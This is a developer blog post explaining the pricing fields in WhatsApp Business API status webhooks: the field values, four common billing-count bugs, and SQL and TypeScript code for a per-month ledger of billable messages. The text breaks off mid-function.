&lt;p&gt;This is a service message delivered after the monthly free tier is used up. The envelope follows the &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/webhooks/reference/messages/status&quot;&gt;status messages webhook reference&lt;/a&gt;, and the &lt;code&gt;pricing&lt;/code&gt; object is verbatim the one Meta publishes for “Paid service message”. IDs and phone numbers are the reference’s own example values; the &lt;code&gt;timestamp&lt;/code&gt; is October 14, 2026.&lt;/p&gt;
&lt;pre class=&quot;language-json&quot; data-language=&quot;json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;object&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;whatsapp_business_account&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;entry&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;102290129340398&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&amp;quot;changes&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&amp;quot;value&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&amp;quot;messaging_product&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;whatsapp&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&amp;quot;metadata&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;token property&quot;&gt;&amp;quot;display_phone_number&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;15550783881&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;token property&quot;&gt;&amp;quot;phone_number_id&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;106540352242922&amp;quot;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&amp;quot;statuses&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;wamid.HBgLMTY1MDM4Nzk0MzkVAgASGBQzQUFERjg0NDEzNDdFODU3MUMxMAA=&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;delivered&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&amp;quot;timestamp&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;1792002600&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&amp;quot;recipient_id&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;16505551234&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&amp;quot;pricing&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;token property&quot;&gt;&amp;quot;billable&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token property&quot;&gt;&amp;quot;pricing_model&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;PMP&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token property&quot;&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;regular&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;token property&quot;&gt;&amp;quot;category&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;service&amp;quot;&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&amp;quot;field&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;messages&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same message in September, or inside the free tier, carries &lt;code&gt;&amp;quot;billable&amp;quot;: false&lt;/code&gt; and &lt;code&gt;&amp;quot;type&amp;quot;: &amp;quot;free_customer_service&amp;quot;&lt;/code&gt;. A utility template inside the window flips the same way: &lt;code&gt;free_customer_service&lt;/code&gt; through September 30, &lt;code&gt;regular&lt;/code&gt; from October 1, with &lt;code&gt;&amp;quot;category&amp;quot;: &amp;quot;utility&amp;quot;&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;pricingtype-the-one-that-decides&quot;&gt;&lt;code&gt;pricing.type&lt;/code&gt;: the one that decides&lt;/h3&gt;
&lt;p&gt;This field tells you &lt;strong&gt;why&lt;/strong&gt; a message was or was not billed. The status reference documents three values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;regular&lt;/code&gt;: billed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;free_customer_service&lt;/code&gt;: free because it went out inside the customer service window. From October, that includes being inside the 1,000 free tier.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;free_entry_point&lt;/code&gt;: free because of the 72-hour window opened by Click-to-WhatsApp ads and Facebook Page call-to-action buttons.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The pricing page adds a fourth that the reference (last updated May 21) does not list yet: &lt;code&gt;free_group_customer_service&lt;/code&gt;, for group messages.&lt;/p&gt;
&lt;h3 id=&quot;pricingcategory-which-rate-was-applied&quot;&gt;&lt;code&gt;pricing.category&lt;/code&gt;: which rate was applied&lt;/h3&gt;
&lt;p&gt;Reference values: &lt;code&gt;authentication&lt;/code&gt;, &lt;code&gt;authentication-international&lt;/code&gt;, &lt;code&gt;marketing&lt;/code&gt;, &lt;code&gt;marketing_lite&lt;/code&gt;, &lt;code&gt;referral_conversion&lt;/code&gt;, &lt;code&gt;service&lt;/code&gt; and &lt;code&gt;utility&lt;/code&gt;. Watch &lt;code&gt;authentication-international&lt;/code&gt;: in &lt;code&gt;pricing.category&lt;/code&gt; it uses a &lt;strong&gt;hyphen&lt;/strong&gt;, while the conversation category in &lt;code&gt;conversation.origin.type&lt;/code&gt; uses an underscore. The pricing page adds &lt;code&gt;group_service&lt;/code&gt; and &lt;code&gt;group_utility&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The practical consequence: &lt;strong&gt;do not validate these fields against a closed list.&lt;/strong&gt; If your parser drops a status because the category is not in your enum, that message ends up unpriced in your database while Meta still bills it.&lt;/p&gt;
&lt;h3 id=&quot;pricingbillable-do-not-decide-with-it&quot;&gt;&lt;code&gt;pricing.billable&lt;/code&gt;: do not decide with it&lt;/h3&gt;
&lt;p&gt;The reference is explicit: “The billable property will be deprecated in a future versioned release. Use pricing.type and pricing.category together to determine whether a message is billable and, if so, its billing rate.” Today &lt;code&gt;billable&lt;/code&gt; and &lt;code&gt;type&lt;/code&gt; agree. The day Meta removes it in a new Graph API version, an &lt;code&gt;if (billable === false) return 0&lt;/code&gt; turns into “everything is billed” or “nothing is billed”, depending on how you treat &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;when-the-object-arrives-and-when-it-counts&quot;&gt;When the object arrives, and when it counts&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Per the reference syntax, &lt;code&gt;pricing&lt;/code&gt; is “only included with sent status, and one of either delivered or read status”. The v24.0 example adds that it can show up only on &lt;code&gt;delivered&lt;/code&gt; and not on &lt;code&gt;sent&lt;/code&gt;. So you get it &lt;strong&gt;twice or once&lt;/strong&gt;, and you must deduplicate by &lt;code&gt;wamid&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Meta bills what is &lt;strong&gt;delivered&lt;/strong&gt;, not what is sent (“only when the message is delivered (vs. sent)”). And &lt;code&gt;delivered&lt;/code&gt; may never arrive: if the user has the chat open, Meta sends &lt;code&gt;read&lt;/code&gt; directly. Count a message as delivered when either &lt;code&gt;delivered&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;read&lt;/code&gt; shows up.&lt;/li&gt;
&lt;li&gt;Since v24.0 the &lt;code&gt;conversation&lt;/code&gt; object is omitted unless the message is inside a free entry point window. If your code took the category from &lt;code&gt;conversation.origin.type&lt;/code&gt;, it was already behind.&lt;/li&gt;
&lt;/ul&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #3b82f6&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#3b82f61a;color:#3b82f6&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; JSON to TypeScript &amp;amp; Code Converter &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Convert any JSON into TypeScript interfaces, Zod schemas, PHP classes, Python dataclasses or Go structs. Detects nested and optional types. All in your browser. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/json-to-typescript/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;json-a-typescript&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;the-four-bugs-that-make-your-report-say-zero&quot;&gt;The four bugs that make your report say zero&lt;/h2&gt;
&lt;p&gt;While reviewing the WhatsApp agent I have in development for this post, I found two of these in my own code. All four are easy to ship:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;A rate table with no effective date.&lt;/strong&gt; A &lt;code&gt;service: 0&lt;/code&gt; constant is correct through September 30 and wrong from October 1, even though the webhook already says &lt;code&gt;regular&lt;/code&gt;. Meta can only change pricing on the first day of a quarter (January, April, July, October), with one month’s notice for a rate card update: model the card with its effective date.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deciding with &lt;code&gt;billable&lt;/code&gt;.&lt;/strong&gt; Works today; breaks when Meta retires it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A category allowlist.&lt;/strong&gt; &lt;code&gt;group_service&lt;/code&gt;, &lt;code&gt;free_group_customer_service&lt;/code&gt; or the hyphen in &lt;code&gt;authentication-international&lt;/code&gt; end up as “no category” and add zero to your total.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Counting every status.&lt;/strong&gt; If you add to the total on every webhook that carries &lt;code&gt;pricing&lt;/code&gt;, one message counts twice (&lt;code&gt;sent&lt;/code&gt; + &lt;code&gt;delivered&lt;/code&gt;), and a message that failed after being sent counts even though Meta does not bill it.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;code-counting-billable-messages-per-number-and-per-month&quot;&gt;Code: counting billable messages per number and per month&lt;/h2&gt;
&lt;p&gt;The approach mirrors the cost ledger in my agent: one row per outbound message, filled in by whatever each status carries, with cost computed at read time. It targets Cloudflare D1 (SQLite), but the SQL is portable.&lt;/p&gt;
&lt;p&gt;The table first. &lt;code&gt;category&lt;/code&gt; and &lt;code&gt;pricing_type&lt;/code&gt; are stored &lt;strong&gt;exactly as received&lt;/strong&gt;, with no allowlist:&lt;/p&gt;
&lt;pre class=&quot;language-sql&quot; data-language=&quot;sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; wa_outbound &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  wamid           &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  phone_number_id &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;month&lt;/span&gt;           &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;              &lt;span class=&quot;token comment&quot;&gt;-- &amp;#39;YYYY-MM&amp;#39; in the WABA timezone&lt;/span&gt;
  delivered       &lt;span class=&quot;token keyword&quot;&gt;INTEGER&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- 1 once `delivered` or `read` arrives&lt;/span&gt;
  category        &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;                       &lt;span class=&quot;token comment&quot;&gt;-- pricing.category, not normalized&lt;/span&gt;
  pricing_type    &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;                        &lt;span class=&quot;token comment&quot;&gt;-- pricing.type, not normalized&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; wa_outbound_month &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; wa_outbound &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;phone_number_id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;month&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then what you do with each &lt;code&gt;statuses[]&lt;/code&gt; entry. &lt;code&gt;phone_number_id&lt;/code&gt; comes from &lt;code&gt;value.metadata.phone_number_id&lt;/code&gt;, which is the unit the free tier is counted on:&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Open&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// autocompletes, but accepts whatever Meta adds&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;StatusPricing&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;/** Meta will deprecate it: decide with `type` + `category`. */&lt;/span&gt;
  billable&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;boolean&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  pricing_model&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Open&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;PMP&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;CBP&amp;#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  type&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Open&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;regular&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;free_customer_service&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;free_entry_point&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;free_group_customer_service&amp;#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  category&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Open&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;service&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;utility&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;marketing&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;marketing_lite&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;authentication&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;authentication-international&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;referral_conversion&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;group_service&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;group_utility&amp;#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;WebhookStatus&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// wamid&lt;/span&gt;
  status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Open&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;sent&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;delivered&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;read&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;failed&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;played&amp;#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  timestamp&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// epoch seconds, as a string&lt;/span&gt;
  recipient_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  pricing&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; StatusPricing&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/** &amp;#39;YYYY-MM&amp;#39; in your WABA timezone, e.g. &amp;#39;America/Mexico_City&amp;#39;. */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;monthKey&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;epochSeconds&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeZone&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Intl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;DateTimeFormat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;en-CA&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; timeZone&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; year&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;numeric&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; month&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;2-digit&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;epochSeconds &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
